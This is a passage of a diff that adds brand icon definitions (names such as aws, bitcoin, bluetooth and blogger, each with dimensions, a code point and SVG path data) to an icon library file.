1.1-9.9 6.2-9.9 12.1 0 6.8 5.6 10.2 12.4 10.2 6.8 0 12.4-3.4 12.4-10.2 0-6-4.3-11-9.9-12.1v-4.9l28.4 3.2v23.7h-5.9V360h5.9v-6.6h5v6.6h5.9v-13.8h-5.9V323l38.3 4.3c8.1 11.4 19 13.6 19 13.6l-.1 6.7-5.1.2-.1 12.1h4.1l.1-5h5.2l.1 5h4.1l-.1-12.1-5.1-.2-.1-6.7s10.9-2.1 19-13.6l38.3-4.3v23.2h-5.9V360h5.9v-6.6h5v6.6h5.9v-13.8h-5.9v-23.7l28.4-3.2v4.9c-5.7 1.1-9.9 6.2-9.9 12.1 0 6.8 5.6 10.2 12.4 10.2 6.8 0 12.4-3.4 12.4-10.2 0-6-4.3-11-9.9-12.1v-5.4l80.3-9v5.8c-5.9.9-10.5 6-10.5 12.2 0 6.8 5.6 12.4 12.4 12.4 6.8 0 12.4-5.6 12.4-12.4-.2-6.3-4.7-11.4-10.7-12.3zm-200.8-87.6l19.6-42.5 19.6 42.5h-17.9l-1.7-40.3-1.7 40.3h-17.9z"], + "aws": [640, 512, [], "f375", "M180.41 203.01c-.72 22.65 10.6 32.68 10.88 39.05a8.164 8.164 0 0 1-4.1 6.27l-12.8 8.96a10.66 10.66 0 0 1-5.63 1.92c-.43-.02-8.19 1.83-20.48-25.61a78.608 78.608 0 0 1-62.61 29.45c-16.28.89-60.4-9.24-58.13-56.21-1.59-38.28 34.06-62.06 70.93-60.05 7.1.02 21.6.37 46.99 6.27v-15.62c2.69-26.46-14.7-46.99-44.81-43.91-2.4.01-19.4-.5-45.84 10.11-7.36 3.38-8.3 2.82-10.75 2.82-7.41 0-4.36-21.48-2.94-24.2 5.21-6.4 35.86-18.35 65.94-18.18a76.857 76.857 0 0 1 55.69 17.28 70.285 70.285 0 0 1 17.67 52.36l-.01 69.29zM93.99 235.4c32.43-.47 46.16-19.97 49.29-30.47 2.46-10.05 2.05-16.41 2.05-27.4-9.67-2.32-23.59-4.85-39.56-4.87-15.15-1.14-42.82 5.63-41.74 32.26-1.24 16.79 11.12 31.4 29.96 30.48zm170.92 23.05c-7.86.72-11.52-4.86-12.68-10.37l-49.8-164.65c-.97-2.78-1.61-5.65-1.92-8.58a4.61 4.61 0 0 1 3.86-5.25c.24-.04-2.13 0 22.25 0 8.78-.88 11.64 6.03 12.55 10.37l35.72 140.83 33.16-140.83c.53-3.22 2.94-11.07 12.8-10.24h17.16c2.17-.18 11.11-.5 12.68 10.37l33.42 142.63L420.98 80.1c.48-2.18 2.72-11.37 12.68-10.37h19.72c.85-.13 6.15-.81 5.25 8.58-.43 1.85 3.41-10.66-52.75 169.9-1.15 5.51-4.82 11.09-12.68 10.37h-18.69c-10.94 1.15-12.51-9.66-12.68-10.75L328.67 110.7l-32.78 136.99c-.16 1.09-1.73 11.9-12.68 10.75h-18.3zm273.48 5.63c-5.88.01-33.92-.3-57.36-12.29a12.802 12.802 0 0 1-7.81-11.91v-10.75c0-8.45 6.2-6.9 8.83-5.89 10.04 4.06 16.48 7.14 28.81 9.6 36.65 7.53 52.77-2.3 56.72-4.48 13.15-7.81 14.19-25.68 5.25-34.95-10.48-8.79-15.48-9.12-53.13-21-4.64-1.29-43.7-13.61-43.79-52.36-.61-28.24 25.05-56.18 69.52-55.95 12.67-.01 46.43 4.13 55.57 15.62 1.35 2.09 2.02 4.55 1.92 7.04v10.11c0 4.44-1.62 6.66-4.87 6.66-7.71-.86-21.39-11.17-49.16-10.75-6.89-.36-39.89.91-38.41 24.97-.43 18.96 26.61 26.07 29.7 26.89 36.46 10.97 48.65 12.79 63.12 29.58 17.14 22.25 7.9 48.3 4.35 55.44-19.08 37.49-68.42 34.44-69.26 34.42zm40.2 104.86c-70.03 51.72-171.69 79.25-258.49 79.25A469.127 469.127 0 0 1 2.83 327.46c-6.53-5.89-.77-13.96 7.17-9.47a637.37 637.37 0 0 0 316.88 84.12 630.22 630.22 0 0 0 241.59-49.55c11.78-5 21.77 7.8 10.12 16.38zm29.19-33.29c-8.96-11.52-59.28-5.38-81.81-2.69-6.79.77-7.94-5.12-1.79-9.47 40.07-28.17 105.88-20.1 113.44-10.63 7.55 9.47-2.05 75.41-39.56 106.91-5.76 4.87-11.27 2.3-8.71-4.1 8.44-21.25 27.39-68.49 18.43-80.02z"], + "bandcamp": [512, 512, [], "f2d5", "M256,8C119,8,8,119,8,256S119,504,256,504,504,393,504,256,393,8,256,8Zm48.2,326.1h-181L207.9,178h181Z"], + "battle-net": [512, 512, [], "f835", "M448.61 225.62c26.87.18 35.57-7.43 38.92-12.37 12.47-16.32-7.06-47.6-52.85-71.33 17.76-33.58 30.11-63.68 36.34-85.3 3.38-11.83 1.09-19 .45-20.25-1.72 10.52-15.85 48.46-48.2 100.05-25-11.22-56.52-20.1-93.77-23.8-8.94-16.94-34.88-63.86-60.48-88.93C252.18 7.14 238.7 1.07 228.18.22h-.05c-13.83-1.55-22.67 5.85-27.4 11-17.2 18.53-24.33 48.87-25 84.07-7.24-12.35-17.17-24.63-28.5-25.93h-.18c-20.66-3.48-38.39 29.22-36 81.29-38.36 1.38-71 5.75-93 11.23-9.9 2.45-16.22 7.27-17.76 9.72 1-.38 22.4-9.22 111.56-9.22 5.22 53 29.75 101.82 26 93.19-9.73 15.4-38.24 62.36-47.31 97.7-5.87 22.88-4.37 37.61.15 47.14 5.57 12.75 16.41 16.72 23.2 18.26 25 5.71 55.38-3.63 86.7-21.14-7.53 12.84-13.9 28.51-9.06 39.34 7.31 19.65 44.49 18.66 88.44-9.45 20.18 32.18 40.07 57.94 55.7 74.12a39.79 39.79 0 0 0 8.75 7.09c5.14 3.21 8.58 3.37 8.58 3.37-8.24-6.75-34-38-62.54-91.78 22.22-16 45.65-38.87 67.47-69.27 122.82 4.6 143.29-24.76 148-31.64 14.67-19.88 3.43-57.44-57.32-93.69zm-77.85 106.22c23.81-37.71 30.34-67.77 29.45-92.33 27.86 17.57 47.18 37.58 49.06 58.83 1.14 12.93-8.1 29.12-78.51 33.5zM216.9 387.69c9.76-6.23 19.53-13.12 29.2-20.49 6.68 13.33 13.6 26.1 20.6 38.19-40.6 21.86-68.84 12.76-49.8-17.7zm215-171.35c-10.29-5.34-21.16-10.34-32.38-15.05a722.459 722.459 0 0 0 22.74-36.9c39.06 24.1 45.9 53.18 9.64 51.95zM279.18 398c-5.51-11.35-11-23.5-16.5-36.44 43.25 1.27 62.42-18.73 63.28-20.41 0 .07-25 15.64-62.53 12.25a718.78 718.78 0 0 0 85.06-84q13.06-15.31 24.93-31.11c-.36-.29-1.54-3-16.51-12-51.7 60.27-102.34 98-132.75 115.92-20.59-11.18-40.84-31.78-55.71-61.49-20-39.92-30-82.39-31.57-116.07 12.3.91 25.27 2.17 38.85 3.88-22.29 36.8-14.39 63-13.47 64.23 0-.07-.95-29.17 20.14-59.57a695.23 695.23 0 0 0 44.67 152.84c.93-.38 1.84.88 18.67-8.25-26.33-74.47-33.76-138.17-34-173.43 20-12.42 48.18-19.8 81.63-17.81 44.57 2.67 86.36 15.25 116.32 30.71q-10.69 15.66-23.33 32.47C365.63 152 339.1 145.84 337.5 146c.11 0 25.9 14.07 41.52 47.22a717.63 717.63 0 0 0-115.34-31.71 646.608 646.608 0 0 0-39.39-6.05c-.07.45-1.81 1.85-2.16 20.33C300 190.28 358.78 215.68 389.36 233c.74 23.55-6.95 51.61-25.41 79.57-24.6 37.31-56.39 67.23-84.77 85.43zm27.4-287c-44.56-1.66-73.58 7.43-94.69 20.67 2-52.3 21.31-76.38 38.21-75.28C267 52.15 305 108.55 306.58 111zm-130.65 3.1c.48 12.11 1.59 24.62 3.21 37.28-14.55-.85-28.74-1.25-42.4-1.26-.08 3.24-.12-51 24.67-49.59h.09c5.76 1.09 10.63 6.88 14.43 13.57zm-28.06 162c20.76 39.7 43.3 60.57 65.25 72.31-46.79 24.76-77.53 20-84.92 4.51-.2-.21-11.13-15.3 19.67-76.81zm210.06 74.8"], + "behance": [576, 512, [], "f1b4", "M232 237.2c31.8-15.2 48.4-38.2 48.4-74 0-70.6-52.6-87.8-113.3-87.8H0v354.4h171.8c64.4 0 124.9-30.9 124.9-102.9 0-44.5-21.1-77.4-64.7-89.7zM77.9 135.9H151c28.1 0 53.4 7.9 53.4 40.5 0 30.1-19.7 42.2-47.5 42.2h-79v-82.7zm83.3 233.7H77.9V272h84.9c34.3 0 56 14.3 56 50.6 0 35.8-25.9 47-57.6 47zm358.5-240.7H376V94h143.7v34.9zM576 305.2c0-75.9-44.4-139.2-124.9-139.2-78.2 0-131.3 58.8-131.3 135.8 0 79.9 50.3 134.7 131.3 134.7 61.3 0 101-27.6 120.1-86.3H509c-6.7 21.9-34.3 33.5-55.7 33.5-41.3 0-63-24.2-63-65.3h185.1c.3-4.2.6-8.7.6-13.2zM390.4 274c2.3-33.7 24.7-54.8 58.5-54.8 35.4 0 53.2 20.8 56.2 54.8H390.4z"], + "behance-square": [448, 512, [], "f1b5", "M186.5 293c0 19.3-14 25.4-31.2 25.4h-45.1v-52.9h46c18.6.1 30.3 7.8 30.3 27.5zm-7.7-82.3c0-17.7-13.7-21.9-28.9-21.9h-39.6v44.8H153c15.1 0 25.8-6.6 25.8-22.9zm132.3 23.2c-18.3 0-30.5 11.4-31.7 29.7h62.2c-1.7-18.5-11.3-29.7-30.5-29.7zM448 80v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V80c0-26.5 21.5-48 48-48h352c26.5 0 48 21.5 48 48zM271.7 185h77.8v-18.9h-77.8V185zm-43 110.3c0-24.1-11.4-44.9-35-51.6 17.2-8.2 26.2-17.7 26.2-37 0-38.2-28.5-47.5-61.4-47.5H68v192h93.1c34.9-.2 67.6-16.9 67.6-55.9zM380 280.5c0-41.1-24.1-75.4-67.6-75.4-42.4 0-71.1 31.8-71.1 73.6 0 43.3 27.3 73 71.1 73 33.2 0 54.7-14.9 65.1-46.8h-33.7c-3.7 11.9-18.6 18.1-30.2 18.1-22.4 0-34.1-13.1-34.1-35.3h100.2c.1-2.3.3-4.8.3-7.2z"], + "bimobject": [448, 512, [], "f378", "M416 32H32C14.4 32 0 46.4 0 64v384c0 17.6 14.4 32 32 32h384c17.6 0 32-14.4 32-32V64c0-17.6-14.4-32-32-32zm-64 257.4c0 49.4-11.4 82.6-103.8 82.6h-16.9c-44.1 0-62.4-14.9-70.4-38.8h-.9V368H96V136h64v74.7h1.1c4.6-30.5 39.7-38.8 69.7-38.8h17.3c92.4 0 103.8 33.1 103.8 82.5v35zm-64-28.9v22.9c0 21.7-3.4 33.8-38.4 33.8h-45.3c-28.9 0-44.1-6.5-44.1-35.7v-19c0-29.3 15.2-35.7 44.1-35.7h45.3c35-.2 38.4 12 38.4 33.7z"], + "bitbucket": [512, 512, [], "f171", "M22.2 32A16 16 0 0 0 6 47.8a26.35 26.35 0 0 0 .2 2.8l67.9 412.1a21.77 21.77 0 0 0 21.3 18.2h325.7a16 16 0 0 0 16-13.4L505 50.7a16 16 0 0 0-13.2-18.3 24.58 24.58 0 0 0-2.8-.2L22.2 32zm285.9 297.8h-104l-28.1-147h157.3l-25.2 147z"], + "bitcoin": [512, 512, [], "f379", "M504 256c0 136.967-111.033 248-248 248S8 392.967 8 256 119.033 8 256 8s248 111.033 248 248zm-141.651-35.33c4.937-32.999-20.191-50.739-54.55-62.573l11.146-44.702-27.213-6.781-10.851 43.524c-7.154-1.783-14.502-3.464-21.803-5.13l10.929-43.81-27.198-6.781-11.153 44.686c-5.922-1.349-11.735-2.682-17.377-4.084l.031-.14-37.53-9.37-7.239 29.062s20.191 4.627 19.765 4.913c11.022 2.751 13.014 10.044 12.68 15.825l-12.696 50.925c.76.194 1.744.473 2.829.907-.907-.225-1.876-.473-2.876-.713l-17.796 71.338c-1.349 3.348-4.767 8.37-12.471 6.464.271.395-19.78-4.937-19.78-4.937l-13.51 31.147 35.414 8.827c6.588 1.651 13.045 3.379 19.4 5.006l-11.262 45.213 27.182 6.781 11.153-44.733a1038.209 1038.209 0 0 0 21.687 5.627l-11.115 44.523 27.213 6.781 11.262-45.128c46.404 8.781 81.299 5.239 95.986-36.727 11.836-33.79-.589-53.281-25.004-65.991 17.78-4.098 31.174-15.792 34.747-39.949zm-62.177 87.179c-8.41 33.79-65.308 15.523-83.755 10.943l14.944-59.899c18.446 4.603 77.6 13.717 68.811 48.956zm8.417-87.667c-7.673 30.736-55.031 15.12-70.393 11.292l13.548-54.327c15.363 3.828 64.836 10.973 56.845 43.035z"], + "bity": [496, 512, [], "f37a", "M78.4 67.2C173.8-22 324.5-24 421.5 71c14.3 14.1-6.4 37.1-22.4 21.5-84.8-82.4-215.8-80.3-298.9-3.2-16.3 15.1-36.5-8.3-21.8-22.1zm98.9 418.6c19.3 5.7 29.3-23.6 7.9-30C73 421.9 9.4 306.1 37.7 194.8c5-19.6-24.9-28.1-30.2-7.1-32.1 127.4 41.1 259.8 169.8 298.1zm148.1-2c121.9-40.2 192.9-166.9 164.4-291-4.5-19.7-34.9-13.8-30 7.9 24.2 107.7-37.1 217.9-143.2 253.4-21.2 7-10.4 36 8.8 29.7zm-62.9-79l.2-71.8c0-8.2-6.6-14.8-14.8-14.8-8.2 0-14.8 6.7-14.8 14.8l-.2 71.8c0 8.2 6.6 14.8 14.8 14.8s14.8-6.6 14.8-14.8zm71-269c2.1 90.9 4.7 131.9-85.5 132.5-92.5-.7-86.9-44.3-85.5-132.5 0-21.8-32.5-19.6-32.5 0v71.6c0 69.3 60.7 90.9 118 90.1 57.3.8 118-20.8 118-90.1v-71.6c0-19.6-32.5-21.8-32.5 0z"], + "black-tie": [448, 512, [], "f27e", "M0 32v448h448V32H0zm316.5 325.2L224 445.9l-92.5-88.7 64.5-184-64.5-86.6h184.9L252 173.2l64.5 184z"], + "blackberry": [512, 512, [], "f37b", "M166 116.9c0 23.4-16.4 49.1-72.5 49.1H23.4l21-88.8h67.8c42.1 0 53.8 23.3 53.8 39.7zm126.2-39.7h-67.8L205.7 166h70.1c53.8 0 70.1-25.7 70.1-49.1.1-16.4-11.6-39.7-53.7-39.7zM88.8 208.1H21L0 296.9h70.1c56.1 0 72.5-23.4 72.5-49.1 0-16.3-11.7-39.7-53.8-39.7zm180.1 0h-67.8l-18.7 88.8h70.1c53.8 0 70.1-23.4 70.1-49.1 0-16.3-11.7-39.7-53.7-39.7zm189.3-53.8h-67.8l-18.7 88.8h70.1c53.8 0 70.1-23.4 70.1-49.1.1-16.3-11.6-39.7-53.7-39.7zm-28 137.9h-67.8L343.7 381h70.1c56.1 0 70.1-23.4 70.1-49.1 0-16.3-11.6-39.7-53.7-39.7zM240.8 346H173l-18.7 88.8h70.1c56.1 0 70.1-25.7 70.1-49.1.1-16.3-11.6-39.7-53.7-39.7z"], + "blogger": [448, 512, [], "f37c", "M162.4 196c4.8-4.9 6.2-5.1 36.4-5.1 27.2 0 28.1.1 32.1 2.1 5.8 2.9 8.3 7 8.3 13.6 0 5.9-2.4 10-7.6 13.4-2.8 1.8-4.5 1.9-31.1 2.1-16.4.1-29.5-.2-31.5-.8-10.3-2.9-14.1-17.7-6.6-25.3zm61.4 94.5c-53.9 0-55.8.2-60.2 4.1-3.5 3.1-5.7 9.4-5.1 13.9.7 4.7 4.8 10.1 9.2 12 2.2 1 14.1 1.7 56.3 1.2l47.9-.6 9.2-1.5c9-5.1 10.5-17.4 3.1-24.4-5.3-4.7-5-4.7-60.4-4.7zm223.4 130.1c-3.5 28.4-23 50.4-51.1 57.5-7.2 1.8-9.7 1.9-172.9 1.8-157.8 0-165.9-.1-172-1.8-8.4-2.2-15.6-5.5-22.3-10-5.6-3.8-13.9-11.8-17-16.4-3.8-5.6-8.2-15.3-10-22C.1 423 0 420.3 0 256.3 0 93.2 0 89.7 1.8 82.6 8.1 57.9 27.7 39 53 33.4c7.3-1.6 332.1-1.9 340-.3 21.2 4.3 37.9 17.1 47.6 36.4 7.7 15.3 7-1.5 7.3 180.6.2 115.8 0 164.5-.7 170.5zm-85.4-185.2c-1.1-5-4.2-9.6-7.7-11.5-1.1-.6-8-1.3-15.5-1.7-12.4-.6-13.8-.8-17.8-3.1-6.2-3.6-7.9-7.6-8-18.3 0-20.4-8.5-39.4-25.3-56.5-12-12.2-25.3-20.5-40.6-25.1-3.6-1.1-11.8-1.5-39.2-1.8-42.9-.5-52.5.4-67.1 6.2-27 10.7-46.3 33.4-53.4 62.4-1.3 5.4-1.6 14.2-1.9 64.3-.4 62.8 0 72.1 4 84.5 9.7 30.7 37.1 53.4 64.6 58.4 9.2 1.7 122.2 2.1 133.7.5 20.1-2.7 35.9-10.8 50.7-25.9 10.7-10.9 17.4-22.8 21.8-38.5 3.2-10.9 2.9-88.4 1.7-93.9z"], + "blogger-b": [448, 512, [], "f37d", "M446.6 222.7c-1.8-8-6.8-15.4-12.5-18.5-1.8-1-13-2.2-25-2.7-20.1-.9-22.3-1.3-28.7-5-10.1-5.9-12.8-12.3-12.9-29.5-.1-33-13.8-63.7-40.9-91.3-19.3-19.7-40.9-33-65.5-40.5-5.9-1.8-19.1-2.4-63.3-2.9-69.4-.8-84.8.6-108.4 10C45.9 59.5 14.7 96.1 3.3 142.9 1.2 151.7.7 165.8.2 246.8c-.6 101.5.1 116.4 6.4 136.5 15.6 49.6 59.9 86.3 104.4 94.3 14.8 2.7 197.3 3.3 216 .8 32.5-4.4 58-17.5 81.9-41.9 17.3-17.7 28.1-36.8 35.2-62.1 4.9-17.6 4.5-142.8 2.5-151.7zm-322.1-63.6c7.8-7.9 10-8.2 58.8-8.2 43.9 0 45.4.1 51.8 3.4 9.3 4.7 13.4 11.3 13.4 21.9 0 9.5-3.8 16.2-12.3 21.6-4.6 2.9-7.3 3.1-50.3 3.3-26.5.2-47.7-.4-50.8-1.2-16.6-4.7-22.8-28.5-10.6-40.8zm191.8 199.8l-14.9 2.4-77.5.9c-68.1.8-87.3-.4-90.9-2-7.1-3.1-13.8-11.7-14.9-19.4-1.1-7.3 2.6-17.3 8.2-22.4 7.1-6.4 10.2-6.6 97.3-6.7 89.6-.1 89.1-.1 97.6 7.8 12.1 11.3 9.5 31.2-4.9 39.4z"], + "bluetooth": [448, 512, [], "f293", "M292.6 171.1L249.7 214l-.3-86 43.2 43.1m-43.2 219.8l43.1-43.1-42.9-42.9-.2 86zM416 259.4C416 465 344.1 512 230.9 512S32 465 32 259.4 115.4 0 228.6 0 416 53.9 416 259.4zm-158.5 0l79.4-88.6L211.8 36.5v176.9L138 139.6l-27 26.9 92.7 93-92.7 93 26.9 26.9 73.8-73.8 2.3 170 127.4-127.5-83.9-88.7z"], + "bluetooth-b": [320, 512, [], "f294", "M196.48 260.023l92.626-103.333L143.125 0v206.33l-86.111-86.111-31.406 31.405 108.061 108.399L25.608 368.422l31.406 31.405 86.111-86.111L145.84 512l148.552-148.644-97.912-103.333zm40.86-102.996l-49.977 49.978-.338-100.295 50.315 50.317zM187.363 313.04l49.977 49.978-50.315 50.316.338-100.294z"], + "bootstrap": [576, 512, [], "f836", "M333.5,201.4c0-22.1-15.6-34.3-43-34.3h-50.4v71.2h42.5C315.4,238.2,333.5,225,333.5,201.4z M517,188.6 c-9.5-30.9-10.9-68.8-9.8-98.1c1.1-30.5-22.7-58.5-54.7-58.5H123.7c-32.1,0-55.8,28.1-54.7,58.5c1,29.3-0.3,67.2-9.8,98.1 c-9.6,31-25.7,50.6-52.2,53.1v28.5c26.4,2.5,42.6,22.1,52.2,53.1c9.5,30.9,10.9,68.8,9.8,98.1c-1.1,30.5,22.7,58.5,54.7,58.5h328.7 c32.1,0,55.8-28.1,54.7-58.5c-1-29.3,0.3-67.2,9.8-98.1c9.6-31,25.7-50.6,52.1-53.1v-28.5C542.7,239.2,526.5,219.6,517,188.6z M300.2,375.1h-97.9V136.8h97.4c43.3,0,71.7,23.4,71.7,59.4c0,25.3-19.1,47.9-43.5,51.8v1.3c33.2,3.6,55.5,26.6,55.5,58.3 C383.4,349.7,352.1,375.1,300.2,375.1z M290.2,266.4h-50.1v78.4h52.3c34.2,0,52.3-13.7,52.3-39.5 C344.7,279.6,326.1,266.4,290.2,266.4z"], + "btc": [384, 512, [], "f15a", "M310.204 242.638c27.73-14.18 45.377-39.39 41.28-81.3-5.358-57.351-52.458-76.573-114.85-81.929V0h-48.528v77.203c-12.605 0-25.525.315-38.444.63V0h-48.528v79.409c-17.842.539-38.622.276-97.37 0v51.678c38.314-.678 58.417-3.14 63.023 21.427v217.429c-2.925 19.492-18.524 16.685-53.255 16.071L3.765 443.68c88.481 0 97.37.315 97.37.315V512h48.528v-67.06c13.234.315 26.154.315 38.444.315V512h48.528v-68.005c81.299-4.412 135.647-24.894 142.895-101.467 5.671-61.446-23.32-88.862-69.326-99.89zM150.608 134.553c27.415 0 113.126-8.507 113.126 48.528 0 54.515-85.71 48.212-113.126 48.212v-96.74zm0 251.776V279.821c32.772 0 133.127-9.138 133.127 53.255-.001 60.186-100.355 53.253-133.127 53.253z"], + "buffer": [448, 512, [], "f837", "M427.84 380.67l-196.5 97.82a18.6 18.6 0 0 1-14.67 0L20.16 380.67c-4-2-4-5.28 0-7.29L67.22 350a18.65 18.65 0 0 1 14.69 0l134.76 67a18.51 18.51 0 0 0 14.67 0l134.76-67a18.62 18.62 0 0 1 14.68 0l47.06 23.43c4.05 1.96 4.05 5.24 0 7.24zm0-136.53l-47.06-23.43a18.62 18.62 0 0 0-14.68 0l-134.76 67.08a18.68 18.68 0 0 1-14.67 0L81.91 220.71a18.65 18.65 0 0 0-14.69 0l-47.06 23.43c-4 2-4 5.29 0 7.31l196.51 97.8a18.6 18.6 0 0 0 14.67 0l196.5-97.8c4.05-2.02 4.05-5.3 0-7.31zM20.16 130.42l196.5 90.29a20.08 20.08 0 0 0 14.67 0l196.51-90.29c4-1.86 4-4.89 0-6.74L231.33 33.4a19.88 19.88 0 0 0-14.67 0l-196.5 90.28c-4.05 1.85-4.05 4.88 0 6.74z"], + "buromobelexperte": [448, 512, [], "f37f", "M0 32v128h128V32H0zm120 120H8V40h112v112zm40-120v128h128V32H160zm120 120H168V40h112v112zm40-120v128h128V32H320zm120 120H328V40h112v112zM0 192v128h128V192H0zm120 120H8V200h112v112zm40-120v128h128V192H160zm120 120H168V200h112v112zm40-120v128h128V192H320zm120 120H328V200h112v112zM0 352v128h128V352H0zm120 120H8V360h112v112zm40-120v128h128V352H160zm120 120H168V360h112v112zm40-120v128h128V352H320z"], + "buy-n-large": [576, 512, [], "f8a6", "M288 32C133.27 32 7.79 132.32 7.79 256S133.27 480 288 480s280.21-100.32 280.21-224S442.73 32 288 32zm-85.39 357.19L64.1 390.55l77.25-290.74h133.44c63.15 0 84.93 28.65 78 72.84a60.24 60.24 0 0 1-1.5 6.85 77.39 77.39 0 0 0-17.21-1.93c-42.35 0-76.69 33.88-76.69 75.65 0 37.14 27.14 68 62.93 74.45-18.24 37.16-56.16 60.92-117.71 61.52zM358 207.11h32l-22.16 90.31h-35.41l-11.19-35.63-7.83 35.63h-37.83l26.63-90.31h31.34l15 36.75zm145.86 182.08H306.79L322.63 328a78.8 78.8 0 0 0 11.47.83c42.34 0 76.69-33.87 76.69-75.65 0-32.65-21-60.46-50.38-71.06l21.33-82.35h92.5l-53.05 205.36h103.87zM211.7 269.39H187l-13.8 56.47h24.7c16.14 0 32.11-3.18 37.94-26.65 5.56-22.31-7.99-29.82-24.14-29.82zM233 170h-21.34L200 217.71h21.37c18 0 35.38-14.64 39.21-30.14C265.23 168.71 251.07 170 233 170z"], + "buysellads": [448, 512, [], "f20d", "M224 150.7l42.9 160.7h-85.8L224 150.7zM448 80v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V80c0-26.5 21.5-48 48-48h352c26.5 0 48 21.5 48 48zm-65.3 325.3l-94.5-298.7H159.8L65.3 405.3H156l111.7-91.6 24.2 91.6h90.8z"], + "canadian-maple-leaf": [512, 512, [], "f785", "M383.8 351.7c2.5-2.5 105.2-92.4 105.2-92.4l-17.5-7.5c-10-4.9-7.4-11.5-5-17.4 2.4-7.6 20.1-67.3 20.1-67.3s-47.7 10-57.7 12.5c-7.5 2.4-10-2.5-12.5-7.5s-15-32.4-15-32.4-52.6 59.9-55.1 62.3c-10 7.5-20.1 0-17.6-10 0-10 27.6-129.6 27.6-129.6s-30.1 17.4-40.1 22.4c-7.5 5-12.6 5-17.6-5C293.5 72.3 255.9 0 255.9 0s-37.5 72.3-42.5 79.8c-5 10-10 10-17.6 5-10-5-40.1-22.4-40.1-22.4S183.3 182 183.3 192c2.5 10-7.5 17.5-17.6 10-2.5-2.5-55.1-62.3-55.1-62.3S98.1 167 95.6 172s-5 9.9-12.5 7.5C73 177 25.4 167 25.4 167s17.6 59.7 20.1 67.3c2.4 6 5 12.5-5 17.4L23 259.3s102.6 89.9 105.2 92.4c5.1 5 10 7.5 5.1 22.5-5.1 15-10.1 35.1-10.1 35.1s95.2-20.1 105.3-22.6c8.7-.9 18.3 2.5 18.3 12.5S241 512 241 512h30s-5.8-102.7-5.8-112.8 9.5-13.4 18.4-12.5c10 2.5 105.2 22.6 105.2 22.6s-5-20.1-10-35.1 0-17.5 5-22.5z"], + "cc-amazon-pay": [576, 512, [], "f42d", "M124.7 201.8c.1-11.8 0-23.5 0-35.3v-35.3c0-1.3.4-2 1.4-2.7 11.5-8 24.1-12.1 38.2-11.1 12.5.9 22.7 7 28.1 21.7 3.3 8.9 4.1 18.2 4.1 27.7 0 8.7-.7 17.3-3.4 25.6-5.7 17.8-18.7 24.7-35.7 23.9-11.7-.5-21.9-5-31.4-11.7-.9-.8-1.4-1.6-1.3-2.8zm154.9 14.6c4.6 1.8 9.3 2 14.1 1.5 11.6-1.2 21.9-5.7 31.3-12.5.9-.6 1.3-1.3 1.3-2.5-.1-3.9 0-7.9 0-11.8 0-4-.1-8 0-12 0-1.4-.4-2-1.8-2.2-7-.9-13.9-2.2-20.9-2.9-7-.6-14-.3-20.8 1.9-6.7 2.2-11.7 6.2-13.7 13.1-1.6 5.4-1.6 10.8.1 16.2 1.6 5.5 5.2 9.2 10.4 11.2zM576 80v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V80c0-26.5 21.5-48 48-48h480c26.5 0 48 21.5 48 48zm-207.5 23.9c.4 1.7.9 3.4 1.6 5.1 16.5 40.6 32.9 81.3 49.5 121.9 1.4 3.5 1.7 6.4.2 9.9-2.8 6.2-4.9 12.6-7.8 18.7-2.6 5.5-6.7 9.5-12.7 11.2-4.2 1.1-8.5 1.3-12.9.9-2.1-.2-4.2-.7-6.3-.8-2.8-.2-4.2 1.1-4.3 4-.1 2.8-.1 5.6 0 8.3.1 4.6 1.6 6.7 6.2 7.5 4.7.8 9.4 1.6 14.2 1.7 14.3.3 25.7-5.4 33.1-17.9 2.9-4.9 5.6-10.1 7.7-15.4 19.8-50.1 39.5-100.3 59.2-150.5.6-1.5 1.1-3 1.3-4.6.4-2.4-.7-3.6-3.1-3.7-5.6-.1-11.1 0-16.7 0-3.1 0-5.3 1.4-6.4 4.3-.4 1.1-.9 2.3-1.3 3.4l-29.1 83.7c-2.1 6.1-4.2 12.1-6.5 18.6-.4-.9-.6-1.4-.8-1.9-10.8-29.9-21.6-59.9-32.4-89.8-1.7-4.7-3.5-9.5-5.3-14.2-.9-2.5-2.7-4-5.4-4-6.4-.1-12.8-.2-19.2-.1-2.2 0-3.3 1.6-2.8 3.7zM242.4 206c1.7 11.7 7.6 20.8 18 26.6 9.9 5.5 20.7 6.2 31.7 4.6 12.7-1.9 23.9-7.3 33.8-15.5.4-.3.8-.6 1.4-1 .5 3.2.9 6.2 1.5 9.2.5 2.6 2.1 4.3 4.5 4.4 4.6.1 9.1.1 13.7 0 2.3-.1 3.8-1.6 4-3.9.1-.8.1-1.6.1-2.3v-88.8c0-3.6-.2-7.2-.7-10.8-1.6-10.8-6.2-19.7-15.9-25.4-5.6-3.3-11.8-5-18.2-5.9-3-.4-6-.7-9.1-1.1h-10c-.8.1-1.6.3-2.5.3-8.2.4-16.3 1.4-24.2 3.5-5.1 1.3-10 3.2-15 4.9-3 1-4.5 3.2-4.4 6.5.1 2.8-.1 5.6 0 8.3.1 4.1 1.8 5.2 5.7 4.1 6.5-1.7 13.1-3.5 19.7-4.8 10.3-1.9 20.7-2.7 31.1-1.2 5.4.8 10.5 2.4 14.1 7 3.1 4 4.2 8.8 4.4 13.7.3 6.9.2 13.9.3 20.8 0 .4-.1.7-.2 1.2-.4 0-.8 0-1.1-.1-8.8-2.1-17.7-3.6-26.8-4.1-9.5-.5-18.9.1-27.9 3.2-10.8 3.8-19.5 10.3-24.6 20.8-4.1 8.3-4.6 17-3.4 25.8zM98.7 106.9v175.3c0 .8 0 1.7.1 2.5.2 2.5 1.7 4.1 4.1 4.2 5.9.1 11.8.1 17.7 0 2.5 0 4-1.7 4.1-4.1.1-.8.1-1.7.1-2.5v-60.7c.9.7 1.4 1.2 1.9 1.6 15 12.5 32.2 16.6 51.1 12.9 17.1-3.4 28.9-13.9 36.7-29.2 5.8-11.6 8.3-24.1 8.7-37 .5-14.3-1-28.4-6.8-41.7-7.1-16.4-18.9-27.3-36.7-30.9-2.7-.6-5.5-.8-8.2-1.2h-7c-1.2.2-2.4.3-3.6.5-11.7 1.4-22.3 5.8-31.8 12.7-2 1.4-3.9 3-5.9 4.5-.1-.5-.3-.8-.4-1.2-.4-2.3-.7-4.6-1.1-6.9-.6-3.9-2.5-5.5-6.4-5.6h-9.7c-5.9-.1-6.9 1-6.9 6.8zM493.6 339c-2.7-.7-5.1 0-7.6 1-43.9 18.4-89.5 30.2-136.8 35.8-14.5 1.7-29.1 2.8-43.7 